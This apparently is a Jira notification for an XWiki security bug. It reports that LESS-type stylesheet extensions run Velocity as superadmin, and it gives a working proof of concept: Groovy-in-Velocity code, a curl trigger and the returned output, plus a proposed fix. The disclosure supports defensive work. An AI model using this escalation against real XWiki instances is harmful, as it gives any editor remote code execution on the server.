This issue has been created
There are 2 updates.
 
 
XWiki Platform / cid:jira-generated-image-avatar-c30a2a2a-fb25-45e3-99d6-d0f32cce4800 XWIKI-24217 Open

SSX with contentType=LESS Superadmin Escalation & RCE

 
View issue   ·   Add comment
 

Issue created

 
cid:jira-generated-image-avatar-866e190b-c437-43e4-9b8b-52c7be6e926a Clément Christiaens created this issue on 12/Apr/26 23:02
 
Summary: SSX with contentType=LESS Superadmin Escalation
Issue Type: cid:jira-generated-image-avatar-c30a2a2a-fb25-45e3-99d6-d0f32cce4800 Bug
Assignee: Unassigned
Created: 12/Apr/26 23:02
Labels: attack_escalation security
Priority: cid:jira-generated-image-static-critical-b2cc99ce-8867-4dea-8f3d-5937a5fa60e7 Critical
Reporter: Clément Christiaens
Description:

Started as a follow-up of XWIKI-24212

When an SSX (StyleSheetExtension) XObject has contentType=LESS and parse=1, the LESS compiler processes it through a different code path than plain CSS. In this LESS path, the Velocity evaluation runs as superadmin, regardless of the page content author, metadata author, or any other author field.

This happens because LESSObjectPropertyResourceReference does not implement the WikiLESSResourceReference interface that the compiler uses to determine the correct author context. When the interface check fails, CachedLESSCompiler falls back to InternalTemplateManager.SUPERADMIN_REFERENCE.

Any user with edit right on any page (including pages they created themselves) can achieve superadmin level velocity execution by adding an SSX XObject with contentType=LESS.


This one is actually worse than XWIKI-24212 as we don't need an admin page at all (even if it's really easy to find an admin page).

Setup
We only need a standard user.

  • Create a page (ex: LESSProbe)
  • Add a StyleSheetExtension on that page:
    • name: LESSProbe
    • code:
      #set($g = $xwiki.parseGroovyFromString('class T { String go() { return System.getProperty("user.name") } }'))
      #set($user = $g.go())
      body { font-family: ${user}; color: red; }
      
    • User This Extension: on this page or on demand
    • Parse Content: YES
    • Caching Policy: no caching
    • Content Type: LESS
  • As guest, just trigger it:
    curl "http://localhost:8080/xwiki/bin/ssx/Sandbox/LESSProbe"

Returns

body{font-family:xwiki;color:red}

This example will just return the username of the account running xwiki. But with programming rights we can do anything.

This issue also leads to broader RCE once planted, as a guest can trigger it.

fix?
LESSObjectPropertyResourceReference.java should implement WikiLESSResourceReference and return the document reference of the page containing the SSX XObject. This causes CachedLESSCompiler to use the document author for velocity evaluation instead of falling back to superadmin.

 
 

2 updates

 
cid:jira-generated-image-avatar-866e190b-c437-43e4-9b8b-52c7be6e926a Changes by Clément Christiaens on 12/Apr/26 23:05
 
Summary: SSX with contentType=LESS Superadmin Escalation & RCE
Description: Started as a follow-up of [XWIKI-24212|https://jira.xwiki.org/browse/XWIKI-24212]

When an SSX (StyleSheetExtension) XObject has contentType=LESS and parse=1, the LESS compiler processes it through a different code path than plain CSS. In this LESS path, the Velocity evaluation runs as superadmin, regardless of the page content author, metadata author, or any other author field.

This happens because LESSObjectPropertyResourceReference does not implement the WikiLESSResourceReference interface that the compiler uses to determine the correct author context. When the interface check fails, CachedLESSCompiler falls back to InternalTemplateManager.SUPERADMIN_REFERENCE.

Any user with edit right on any page (including pages they created themselves) can achieve superadmin level velocity execution by adding an SSX XObject with contentType=LESS.

---
This one is actually worse than XWIKI-24212 as we don't need an admin page at all (even if it's really easy to find an admin page).

*Setup*
We only need a standard user.
* Create a page (ex: LESSProbe)
* Add a StyleSheetExtension on that page:
** name: LESSProbe
** code:
{code}
#set($g = $xwiki.parseGroovyFromString('class T { String go() { return System.getProperty("user.name") } }'))
#set($user = $g.go())
body { font-family: ${user}; color: red; }
{code}
** User This Extension: on this page or on demand
** Parse Content: YES
** Caching Policy: no caching
** Content Type: LESS
* As guest, just trigger it: {code}curl "http://localhost:8080/xwiki/bin/ssx/Sandbox/LESSProbe"{code}

*Returns*
{code}body{font-family:xwiki;color:red}{code}

This example will just return the username of the account running xwiki. But with programming rights we can do anything.

This issue also leads to broader RCE once planted, as a guest can trigger it.

*fix?*
LESSObjectPropertyResourceReference.java should implement WikiLESSResourceReference and return the document reference of the page containing the SSX XObject. This causes CachedLESSCompiler to use the document author for velocity evaluation instead of falling back to superadmin.


---
Tested on xwiki 18.2.0 and 18.3-snapshot